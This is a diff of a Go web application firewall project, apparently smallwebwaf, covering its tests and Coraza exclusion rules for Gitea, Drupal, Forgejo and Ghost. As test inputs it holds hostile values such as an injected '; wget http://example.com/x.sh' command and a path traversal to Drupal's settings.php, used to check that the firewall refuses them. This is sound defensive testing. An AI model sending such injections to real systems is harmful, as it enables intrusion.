{api + "/pulls/1", jsonBody, "base"},
|
|
||||||
{api + "/contents/docs/notes.md", jsonBody, branch},
|
|
||||||
{api + "/contents/docs/notes.md", jsonBody, "new_branch"},
|
|
||||||
{api + "/contents", jsonBody, branch},
|
|
||||||
{api + "/contents", jsonBody, "new_branch"},
|
|
||||||
}
|
|
||||||
|
|
||||||
branchNames := []string{"feat/docker-support", "fix-powershell-module"}
|
|
||||||
|
|
||||||
names := make([]nameInBody, 0, len(branchFields)*len(branchNames))
|
|
||||||
|
|
||||||
for _, f := range branchFields {
|
|
||||||
for _, name := range branchNames {
|
|
||||||
names = append(
|
|
||||||
names,
|
|
||||||
nameInBody{f.path, f.contentType, f.field, name},
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return names
|
|
||||||
}
|
|
||||||
|
|
||||||
// TestGiteaNamesInBodiesStillRefuseAttacks checks the body fields in which
|
|
||||||
// gitea and Forgejo name a file or a branch. Each lets through the name that
|
|
||||||
// was refused there, and still refuses a shell command after a ";" and a path
|
|
||||||
// traversal. The same name is still refused in another field on the same path,
|
|
||||||
// and in the field itself when the query has a parameter of the field's name.
|
|
||||||
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := readingBodies(t)
|
|
||||||
|
|
||||||
for _, tc := range giteaNamesInBodies() {
|
|
||||||
r := request{http.MethodPost, tc.path, []string{tc.contentType}}
|
|
||||||
|
|
||||||
body := func(field, value string) string {
|
|
||||||
if tc.contentType == formData {
|
|
||||||
return field + "=" + url.QueryEscape(value)
|
|
||||||
}
|
|
||||||
|
|
||||||
quoted, err := json.Marshal(map[string]string{field: value})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return string(quoted)
|
|
||||||
}
|
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, r, body(tc.field, tc.name)); got.Score >= threshold {
|
|
||||||
t.Errorf(
|
|
||||||
"%s %s=%q refused: %+v",
|
|
||||||
tc.path,
|
|
||||||
tc.field,
|
|
||||||
tc.name,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, r, body("other", tc.name)); got.Score < threshold {
|
|
||||||
t.Errorf("%s other=%q let through: %+v", tc.path, tc.name, got)
|
|
||||||
}
|
|
||||||
|
|
||||||
param := tc.field
|
|
||||||
if tc.contentType == jsonBody {
|
|
||||||
param = "json." + tc.field
|
|
||||||
}
|
|
||||||
|
|
||||||
queried := request{
|
|
||||||
http.MethodPost,
|
|
||||||
tc.path + "?" + param + "=x",
|
|
||||||
r.headers,
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, queried, body(tc.field, tc.name))
|
|
||||||
if got.Score < threshold {
|
|
||||||
t.Errorf(
|
|
||||||
"%s %s=%q let through: %+v",
|
|
||||||
queried.target,
|
|
||||||
tc.field,
|
|
||||||
tc.name,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, attack := range []string{shellCommand, pathTraversal} {
|
|
||||||
if got, _ := inspectBody(t, crs, r, body(tc.field, attack)); got.Score < threshold {
|
|
||||||
t.Errorf(
|
|
||||||
"%s %s=%q let through: %+v",
|
|
||||||
tc.path,
|
|
||||||
tc.field,
|
|
||||||
attack,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
|
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -2859,7 +2452,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
|||||||
// that has no colon, before the attack. They do so padded past the
|
// that has no colon, before the attack. They do so padded past the
|
||||||
// limit too, which cuts them in the padding.
|
// limit too, which cuts them in the padding.
|
||||||
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
||||||
pad := field("pad", strings.Repeat("a", bodyInspectionSize))
|
pad := field("pad", strings.Repeat("a", bodyLimit))
|
||||||
|
|
||||||
for _, tc := range []struct{ header, head string }{
|
for _, tc := range []struct{ header, head string }{
|
||||||
{multipart + "; boundary=c", ""},
|
{multipart + "; boundary=c", ""},
|
||||||
@@ -2877,7 +2470,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
|||||||
|
|
||||||
body = tc.head + field("q", injection) + pad + end
|
body = tc.head + field("q", injection) + pad + end
|
||||||
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
||||||
body[:bodyInspectionSize+1])
|
body[:bodyLimit+1])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2890,10 +2483,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
|||||||
cut := "--b\r\nContent-Di"
|
cut := "--b\r\nContent-Di"
|
||||||
first := field(
|
first := field(
|
||||||
"pad",
|
"pad",
|
||||||
strings.Repeat(
|
strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
|
||||||
"a",
|
|
||||||
bodyInspectionSize-len(field("pad", ""))-len(cut),
|
|
||||||
),
|
|
||||||
)
|
)
|
||||||
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
||||||
|
|
||||||
@@ -2903,7 +2493,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
|||||||
post(multipart),
|
post(multipart),
|
||||||
body,
|
body,
|
||||||
matched(900440, 900450),
|
matched(900440, 900450),
|
||||||
body[:bodyInspectionSize+1],
|
body[:bodyLimit+1],
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2922,15 +2512,12 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
|
|||||||
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
||||||
first := field(
|
first := field(
|
||||||
"pad",
|
"pad",
|
||||||
strings.Repeat(
|
strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
|
||||||
"a",
|
|
||||||
bodyInspectionSize-len(field("pad", ""))-cut,
|
|
||||||
),
|
|
||||||
)
|
)
|
||||||
body := first + field("q", "1") + end
|
body := first + field("q", "1") + end
|
||||||
|
|
||||||
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
||||||
body[:bodyInspectionSize+1])
|
body[:bodyLimit+1])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2945,8 +2532,7 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
|||||||
// The test loads its own Core Rule Set, since loading is part of what
|
// The test loads its own Core Rule Set, since loading is part of what
|
||||||
// it checks.
|
// it checks.
|
||||||
crs, err := coreruleset.New(coreruleset.Params{
|
crs, err := coreruleset.New(coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
BodyInspectionSize: bodyInspectionSize,
|
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("load the Core Rule Set: %v", err)
|
t.Fatalf("load the Core Rule Set: %v", err)
|
||||||
@@ -2958,11 +2544,11 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
|||||||
wantBody(t, crs, post(multipart), body, matched(942100), body)
|
wantBody(t, crs, post(multipart), body, matched(942100), body)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBodyInspectionSizeOf1GLoads(t *testing.T) {
|
func TestBodyLimitOf1GLoads(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := coreruleset.New(
|
_, err := coreruleset.New(
|
||||||
coreruleset.Params{ParanoiaLevel: 1, BodyInspectionSize: 1 << 30},
|
coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30},
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
|
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
|
||||||
|
|||||||
@@ -1,13 +1,13 @@
|
|||||||
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
|
# The tenth change: on Drupal's paths, some fields skip the rules that refused
|
||||||
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
||||||
# search, a name, a file name or an address. Each exclusion runs with the
|
# search, a name, a file name or an address. Each exclusion runs with the
|
||||||
# request, before the rules it switches off, so this file is loaded before the
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||||
# exclusion on a field of a body applies only when the query has no parameter
|
# exclusion on a field of a body applies only when the query has no parameter
|
||||||
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
|
# of that name, so it matters only while SWW_WAF_BODY_LIMIT is set. The
|
||||||
# set. The exclusions above the comment "The fields below are in bodies" also
|
# exclusions above the comment "The fields below are in bodies" also cover a
|
||||||
# cover a body field of the same name whatever the query holds, and only those
|
# body field of the same name whatever the query holds, and only those below it
|
||||||
# below it need a query without that name.
|
# need a query without that name.
|
||||||
#
|
#
|
||||||
# Each path may start with a language prefix, such as /fr in
|
# Each path may start with a language prefix, such as /fr in
|
||||||
# /fr/admin/content. The prefix is two or three letters, then optionally a
|
# /fr/admin/content. The prefix is two or three letters, then optionally a
|
||||||
@@ -25,13 +25,6 @@
|
|||||||
# 932230: ls -la
|
# 932230: ls -la
|
||||||
# 932235: python3
|
# 932235: python3
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_drupal. It sets it
|
|
||||||
# while SWW_WAF_APPS is unset, or lists drupal for the request's hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_drupal itself.
|
|
||||||
SecRule &TX:app_drupal "@eq 0" \
|
|
||||||
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
|
|
||||||
|
|
||||||
# Every admin page's filters and autocompletes, and the page to return to:
|
# Every admin page's filters and autocompletes, and the page to return to:
|
||||||
# title: /admin/content?title=python3
|
# title: /admin/content?title=python3
|
||||||
# name: /admin/content/media?name=python3
|
# name: /admin/content/media?name=python3
|
||||||
@@ -330,5 +323,3 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
|||||||
SecRule &ARGS_GET:json.mail "@eq 0" \
|
SecRule &ARGS_GET:json.mail "@eq 0" \
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
||||||
|
|
||||||
SecMarker END_DRUPAL
|
|
||||||
@@ -5,11 +5,9 @@ import (
|
|||||||
"net/url"
|
"net/url"
|
||||||
"slices"
|
"slices"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// drupalThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const drupalThreshold = 5
|
const drupalThreshold = 5
|
||||||
|
|
||||||
// drupalAddArticle is Drupal's form for a new article.
|
// drupalAddArticle is Drupal's form for a new article.
|
||||||
@@ -39,20 +37,6 @@ const drupalEditAccount = "/user/2/edit"
|
|||||||
// drupalName is the field for a person's name, as the start of a form body.
|
// drupalName is the field for a person's name, as the start of a form body.
|
||||||
const drupalName = "name="
|
const drupalName = "name="
|
||||||
|
|
||||||
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {"drupal"},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only Drupal's fixes let through.
|
|
||||||
search := get("/search?keys=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
// drupalAttacks are an SQL injection, a path traversal and a script
|
// drupalAttacks are an SQL injection, a path traversal and a script
|
||||||
// injection, as a query value.
|
// injection, as a query value.
|
||||||
//
|
//
|
||||||
@@ -259,7 +243,7 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
injection,
|
injection,
|
||||||
scriptTag,
|
scriptTag,
|
||||||
shellCommand,
|
`; wget http://example.com/x.sh`,
|
||||||
`../../sites/default/settings.php`,
|
`../../sites/default/settings.php`,
|
||||||
} {
|
} {
|
||||||
for _, field := range []string{"name", "mail"} {
|
for _, field := range []string{"name", "mail"} {
|
||||||
|
|||||||
@@ -1,16 +1,9 @@
|
|||||||
# Forgejo's fixes: on Forgejo's paths, some fields skip the rules that refused
|
# The fifteenth change: on Forgejo's paths, some fields skip the rules that
|
||||||
# ordinary Forgejo requests there. Forgejo is a fork of gitea. A hostname that
|
# refused ordinary Forgejo requests there. Forgejo is a fork of gitea, and the
|
||||||
# gets Forgejo's fixes gets gitea's too, so this file holds only what Forgejo
|
# eighth change's fixes for gitea apply to its requests too, so this file holds
|
||||||
# sends and gitea does not. Each exclusion runs with the request, before the
|
# only what Forgejo sends and gitea does not. Each exclusion runs with the
|
||||||
# rules it switches off, so this file is loaded before the Core Rule Set's
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
# rules. Each comment names a request the rule refused.
|
# Core Rule Set's rules. Each comment names a request the rule refused.
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_forgejo. It sets it
|
|
||||||
# while SWW_WAF_APPS is unset, or lists forgejo for the request's hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_forgejo itself.
|
|
||||||
SecRule &TX:app_forgejo "@eq 0" \
|
|
||||||
"id:900670,phase:1,pass,nolog,skipAfter:END_FORGEJO"
|
|
||||||
|
|
||||||
# Forgejo's search of a wiki sends the text searched for in q, which skips
|
# Forgejo's search of a wiki sends the text searched for in q, which skips
|
||||||
# these rules there:
|
# these rules there:
|
||||||
@@ -122,24 +115,3 @@ SecRule REQUEST_FILENAME \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
# Forgejo's admin page searches the names of repositories in q on /admin/repos,
|
|
||||||
# which skips the list of command names (932260) there. It refused python3.
|
|
||||||
SecRule REQUEST_FILENAME "@streq /admin/repos" \
|
|
||||||
"id:900691,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:q"
|
|
||||||
|
|
||||||
# Forgejo renames a branch on its own path, where from and to name branches.
|
|
||||||
# They skip these rules:
|
|
||||||
# 932120: fix-powershell-module
|
|
||||||
# 932260: feat/docker-support
|
|
||||||
# They are read only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, and skip
|
|
||||||
# nothing when the query has a parameter of the same name.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
|
|
||||||
"id:900666,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:from,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:from,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:to,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:to"
|
|
||||||
|
|
||||||
SecMarker END_FORGEJO
|
|
||||||
@@ -4,66 +4,13 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"slices"
|
"slices"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// forgejo is Forgejo's name in SWW_WAF_APPS.
|
|
||||||
const forgejo = "forgejo"
|
|
||||||
|
|
||||||
// forgejoHost is the hostname of the tests of SWW_WAF_APPS that serves Forgejo.
|
|
||||||
const forgejoHost = "code.example"
|
|
||||||
|
|
||||||
func TestForgejoFixesApplyOnlyToAHostnameThatServesForgejo(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
forgejoHost: {forgejo}, otherHost: {wordpress},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search of a wiki, a search of the admin page, and a file name in
|
|
||||||
// Forgejo's flash cookie, which only Forgejo's fixes let through.
|
|
||||||
for _, fixed := range []struct {
|
|
||||||
request request
|
|
||||||
result coreruleset.Result
|
|
||||||
}{
|
|
||||||
{get("/alice/tools/wiki/search?q=python3"), matched(932260)},
|
|
||||||
{get("/admin/repos?q=python3"), matched(932260)},
|
|
||||||
{
|
|
||||||
get("/alice/tools", "Cookie: flash=success%3DFile%2Bpackage.json%2Bdeleted"),
|
|
||||||
matched(930120),
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
wantResult(
|
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
withHost(fixed.request, forgejoHost),
|
|
||||||
coreruleset.Result{},
|
|
||||||
)
|
|
||||||
wantResult(t, crs, withHost(fixed.request, otherHost), fixed.result)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestHostnameListingForgejoGetsGiteasFixesToo(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{forgejoHost: {forgejo}})
|
|
||||||
|
|
||||||
for _, fixed := range giteaFixed {
|
|
||||||
wantResult(
|
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
withHost(fixed.request, forgejoHost),
|
|
||||||
coreruleset.Result{},
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// forgejoSearches are Forgejo's searches whose q skips some rules: those of
|
// forgejoSearches are Forgejo's searches whose q skips some rules: those of
|
||||||
// a wiki, of releases, of a job's log and of the admin page, from Forgejo's
|
// a wiki, of releases and of a job's log, from the fifteenth change, and the
|
||||||
// fixes, and the searches for a name, from gitea's. The search of code at a
|
// searches for a name, from the eighth. The search of code at a branch or tag
|
||||||
// branch or tag is not one of them: there, as on gitea's search of code, q
|
// is not one of them: there, as on gitea's search of code, q lets these
|
||||||
// lets these attacks through.
|
// attacks through.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var forgejoSearches = []string{
|
var forgejoSearches = []string{
|
||||||
@@ -71,7 +18,6 @@ var forgejoSearches = []string{
|
|||||||
"/alice/tools/releases",
|
"/alice/tools/releases",
|
||||||
"/api/v1/repos/alice/tools/releases",
|
"/api/v1/repos/alice/tools/releases",
|
||||||
"/api/v1/repos/alice/tools/actions/jobs/1/logs",
|
"/api/v1/repos/alice/tools/actions/jobs/1/logs",
|
||||||
"/admin/repos",
|
|
||||||
"/explore/repos",
|
"/explore/repos",
|
||||||
"/explore/users",
|
"/explore/users",
|
||||||
"/alice/tools/branches",
|
"/alice/tools/branches",
|
||||||
@@ -91,7 +37,7 @@ var forgejoAttacks = []string{
|
|||||||
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||||
|
|
||||||
@@ -113,15 +59,15 @@ func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
|||||||
func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
// /bin/sh and the hard values, which q lets through on the searches
|
// /bin/sh and the hard values, which q lets through on the searches of
|
||||||
// named in Forgejo's fixes and on those of branches and packages, stay
|
// the fifteenth change and on those of branches and packages, stay
|
||||||
// refused in q on paths near them and in another field on them.
|
// refused in q on paths near them and in another field on them.
|
||||||
// /alice/wiki/search would be the code search of a repository named
|
// /alice/wiki/search would be the code search of a repository named
|
||||||
// wiki, where gitea's fixes let q through. Forgejo has no owner
|
// wiki, where the eighth change lets q through. Forgejo has no owner
|
||||||
// named api, so the paths under /api/ here are not searches.
|
// named api, so the paths under /api/ here are not searches.
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
"/alice/tools/wiki/Home?q=",
|
"/alice/tools/wiki/Home?q=",
|
||||||
@@ -145,7 +91,7 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
|||||||
"/alice/-/packages/npm/x?q=",
|
"/alice/-/packages/npm/x?q=",
|
||||||
"/alice/tools/branches?other=",
|
"/alice/tools/branches?other=",
|
||||||
} {
|
} {
|
||||||
for _, value := range slices.Concat([]string{binSh}, hardValues) {
|
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
|
||||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
||||||
t.Errorf("%s%s let through: %+v", target, value, got)
|
t.Errorf("%s%s let through: %+v", target, value, got)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,531 +0,0 @@
|
|||||||
# Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
|
|
||||||
# ordinary Ghost requests there. Each exclusion runs with the request, before the
|
|
||||||
# rules it switches off, so this file is loaded before the Core Rule Set's
|
|
||||||
# rules. Each comment names a request a rule refused. An exclusion on a field of
|
|
||||||
# a body applies only when the query has no parameter of that name, so it
|
|
||||||
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
|
||||||
#
|
|
||||||
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
|
|
||||||
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
|
|
||||||
# and members call /members/api/. The admin calls ActivityPub, a service of its
|
|
||||||
# own, under /.ghost/activitypub/. Coraza names a field of a JSON body by its
|
|
||||||
# path, so the title of the first post saved is json.posts.0.title.
|
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
|
|
||||||
# while SWW_WAF_APPS is unset, or lists ghost for the request's hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_ghost itself.
|
|
||||||
SecRule &TX:app_ghost "@eq 0" \
|
|
||||||
"id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
|
|
||||||
|
|
||||||
# filter, a query in Ghost's own filter language, skips seven rules on the
|
|
||||||
# Admin API and the Content API:
|
|
||||||
# 932120: filter=tag:powershell, filter=name:~'powershell'
|
|
||||||
# 932125, 932230, 932250: filter=title:~'powershell & ls -la'
|
|
||||||
# 932235, 932260: filter=title:~'powershell & python3', which the admin's
|
|
||||||
# post picker sends when a person types that title
|
|
||||||
# 932380: filter=title:~'python3 & powershell'
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
|
|
||||||
"id:900350,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:filter,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:filter,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:filter,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:filter,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:filter,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:filter,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:filter"
|
|
||||||
|
|
||||||
# search, the search for a member by name or address, skips four rules on the
|
|
||||||
# Admin API:
|
|
||||||
# 930120: search=.htaccess
|
|
||||||
# 932120: search=powershell
|
|
||||||
# 932250: search=ls -la
|
|
||||||
# 932260: search=python3
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|
||||||
"id:900351,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:search,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:search,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:search,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:search"
|
|
||||||
|
|
||||||
# url, the address the editor looks up for an embed or a bookmark, skips two
|
|
||||||
# rules:
|
|
||||||
# 930120: url=https://github.com/example/site/blob/main/.htaccess
|
|
||||||
# 932120: url=https://example.com/blog/powershell-tips
|
|
||||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
|
|
||||||
"id:900352,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:url,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:url"
|
|
||||||
|
|
||||||
# The query fields that filter the analytics skip the eight rules that 900353
|
|
||||||
# lists, on /ghost/api/admin/stats/:
|
|
||||||
# 932120: source=powershell.example.com
|
|
||||||
# 932235, 932260: utm_campaign=powershell & python3
|
|
||||||
# 932250: utm_term=ls -la
|
|
||||||
# These fields filter the figures by the site a visit came from, or a
|
|
||||||
# campaign: source, utm_source, utm_medium, utm_campaign, utm_content and
|
|
||||||
# utm_term.
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
|
||||||
"id:900367,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/"
|
|
||||||
|
|
||||||
# pathname, the page the analytics show, skips three rules on
|
|
||||||
# /ghost/api/admin/stats/, which refused the path of a post and of tag pages:
|
|
||||||
# 930120: pathname=/tag/proc/
|
|
||||||
# 932120: pathname=/python3-and-powershell/
|
|
||||||
# 932260: pathname=/tag/python3/
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
|
||||||
"id:900385,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:pathname,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:pathname,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:pathname"
|
|
||||||
|
|
||||||
# email_segment, the members a post is sent to as a newsletter, skips 932120
|
|
||||||
# on the Admin API's posts: email_segment=label:powershell-users.
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
|
|
||||||
"id:900368,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:email_segment"
|
|
||||||
|
|
||||||
